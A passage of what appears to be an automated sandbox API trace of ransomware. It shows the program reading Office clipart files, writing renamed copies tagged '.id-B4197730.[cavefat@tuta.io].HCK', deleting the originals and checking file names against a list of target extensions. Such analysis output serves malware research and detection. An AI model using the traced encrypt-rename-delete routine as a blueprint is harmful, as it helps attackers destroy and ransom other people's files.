lpNewFilePointer=0x0) returned 1 [0179.968] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.976] GetLastError () returned 0x0 [0179.976] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x30408, lpOverlapped=0x0) returned 1 [0179.982] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x30410, lpOverlapped=0x0) returned 1 [0179.984] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.984] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.984] SetEndOfFile (hFile=0x368) returned 1 [0179.985] CloseHandle (hObject=0x368) returned 1 [0179.987] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.987] SetEndOfFile (hFile=0x39c) returned 1 [0179.996] CloseHandle (hObject=0x39c) returned 1 [0179.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp")) returned 1 [0180.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.001] lstrlenW (lpString=".doc") returned 4 [0180.002] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".docx") returned 5 [0180.002] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0180.002] lstrlenW (lpString=".pdf") returned 4 [0180.002] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".xls") returned 4 [0180.002] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".xlsx") returned 5 [0180.002] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0180.002] lstrlenW (lpString=".ppt") returned 4 [0180.002] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.002] lstrlenW (lpString=".zip") returned 4 [0180.002] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".rar") returned 4 [0180.002] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".bz2") returned 4 [0180.002] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".7z") returned 3 [0180.002] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0180.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.002] lstrlenW (lpString=".dbf") returned 4 [0180.002] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.002] lstrlenW (lpString=".1cd") returned 4 [0180.002] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0180.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.002] lstrlenW (lpString=".jpg") returned 4 [0180.002] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.002] lstrlenW (lpString=".doc") returned 4 [0180.002] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".docx") returned 5 [0180.002] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0180.002] lstrlenW (lpString=".pdf") returned 4 [0180.002] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".xls") returned 4 [0180.002] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".xlsx") returned 5 [0180.002] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0180.002] lstrlenW (lpString=".ppt") returned 4 [0180.002] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.002] lstrlenW (lpString=".zip") returned 4 [0180.002] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".rar") returned 4 [0180.002] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".bz2") returned 4 [0180.002] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0180.002] lstrlenW (lpString=".7z") returned 3 [0180.002] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0180.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.002] lstrlenW (lpString=".dbf") returned 4 [0180.003] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0180.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.003] lstrlenW (lpString=".1cd") returned 4 [0180.003] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0180.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP") returned 68 [0180.003] lstrlenW (lpString=".jpg") returned 4 [0180.003] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0180.003] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0180.003] lstrlenW (lpString="PH02829J.JPG") returned 12 [0180.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.004] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=62520) returned 1 [0180.004] CloseHandle (hObject=0x300) returned 1 [0180.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg")) returned 0x220 [0180.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.007] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.007] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.009] GetLastError () returned 0x0 [0180.009] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xf438, lpOverlapped=0x0) returned 1 [0180.012] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf440, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf440, lpOverlapped=0x0) returned 1 [0180.014] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.014] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.014] SetEndOfFile (hFile=0x300) returned 1 [0180.018] CloseHandle (hObject=0x300) returned 1 [0180.018] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.018] SetEndOfFile (hFile=0x2fc) returned 1 [0180.021] CloseHandle (hObject=0x2fc) returned 1 [0180.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg")) returned 1 [0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.024] lstrlenW (lpString=".doc") returned 4 [0180.024] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.024] lstrlenW (lpString=".docx") returned 5 [0180.024] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0180.024] lstrlenW (lpString=".pdf") returned 4 [0180.024] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.024] lstrlenW (lpString=".xls") returned 4 [0180.024] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.024] lstrlenW (lpString=".xlsx") returned 5 [0180.024] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0180.024] lstrlenW (lpString=".ppt") returned 4 [0180.024] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.024] lstrlenW (lpString=".zip") returned 4 [0180.024] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.024] lstrlenW (lpString=".rar") returned 4 [0180.024] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.024] lstrlenW (lpString=".bz2") returned 4 [0180.024] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.024] lstrlenW (lpString=".7z") returned 3 [0180.024] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.024] lstrlenW (lpString=".dbf") returned 4 [0180.024] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.024] lstrlenW (lpString=".1cd") returned 4 [0180.024] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.024] lstrlenW (lpString=".jpg") returned 4 [0180.024] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.024] lstrlenW (lpString=".doc") returned 4 [0180.024] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.024] lstrlenW (lpString=".docx") returned 5 [0180.024] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0180.024] lstrlenW (lpString=".pdf") returned 4 [0180.024] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.024] lstrlenW (lpString=".xls") returned 4 [0180.024] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.024] lstrlenW (lpString=".xlsx") returned 5 [0180.025] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0180.025] lstrlenW (lpString=".ppt") returned 4 [0180.025] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.025] lstrlenW (lpString=".zip") returned 4 [0180.025] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.025] lstrlenW (lpString=".rar") returned 4 [0180.025] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.025] lstrlenW (lpString=".bz2") returned 4 [0180.025] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.025] lstrlenW (lpString=".7z") returned 3 [0180.025] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.025] lstrlenW (lpString=".dbf") returned 4 [0180.025] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.025] lstrlenW (lpString=".1cd") returned 4 [0180.025] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG") returned 68 [0180.025] lstrlenW (lpString=".jpg") returned 4 [0180.025] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.025] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0180.025] lstrlenW (lpString="PH03011U.BMP") returned 12 [0180.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.030] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15478) returned 1 [0180.030] CloseHandle (hObject=0x370) returned 1 [0180.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp")) returned 0x220 [0180.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.035] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.035] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.037] GetLastError () returned 0x0 [0180.037] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3c76, lpOverlapped=0x0) returned 1 [0180.038] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3c80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3c80, lpOverlapped=0x0) returned 1 [0180.039] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.039] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.039] SetEndOfFile (hFile=0x370) returned 1 [0180.040] CloseHandle (hObject=0x370) returned 1 [0180.041] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.041] SetEndOfFile (hFile=0x2fc) returned 1 [0180.044] CloseHandle (hObject=0x2fc) returned 1 [0180.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp")) returned 1 [0180.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.047] lstrlenW (lpString=".doc") returned 4 [0180.047] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0180.047] lstrlenW (lpString=".docx") returned 5 [0180.047] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0180.047] lstrlenW (lpString=".pdf") returned 4 [0180.048] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".xls") returned 4 [0180.048] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".xlsx") returned 5 [0180.048] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0180.048] lstrlenW (lpString=".ppt") returned 4 [0180.048] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.048] lstrlenW (lpString=".zip") returned 4 [0180.048] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".rar") returned 4 [0180.048] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".bz2") returned 4 [0180.048] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".7z") returned 3 [0180.048] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0180.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.048] lstrlenW (lpString=".dbf") returned 4 [0180.048] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.048] lstrlenW (lpString=".1cd") returned 4 [0180.048] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0180.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.048] lstrlenW (lpString=".jpg") returned 4 [0180.048] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.048] lstrlenW (lpString=".doc") returned 4 [0180.048] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".docx") returned 5 [0180.048] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0180.048] lstrlenW (lpString=".pdf") returned 4 [0180.048] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".xls") returned 4 [0180.048] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".xlsx") returned 5 [0180.048] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0180.048] lstrlenW (lpString=".ppt") returned 4 [0180.048] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.048] lstrlenW (lpString=".zip") returned 4 [0180.048] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".rar") returned 4 [0180.048] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".bz2") returned 4 [0180.048] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString=".7z") returned 3 [0180.048] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0180.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.048] lstrlenW (lpString=".dbf") returned 4 [0180.048] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0180.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.048] lstrlenW (lpString=".1cd") returned 4 [0180.048] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0180.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP") returned 68 [0180.049] lstrlenW (lpString=".jpg") returned 4 [0180.049] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0180.049] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0180.049] lstrlenW (lpString="PH03143I.JPG") returned 12 [0180.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.052] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=29776) returned 1 [0180.052] CloseHandle (hObject=0x39c) returned 1 [0180.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg")) returned 0x220 [0180.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.058] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.058] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 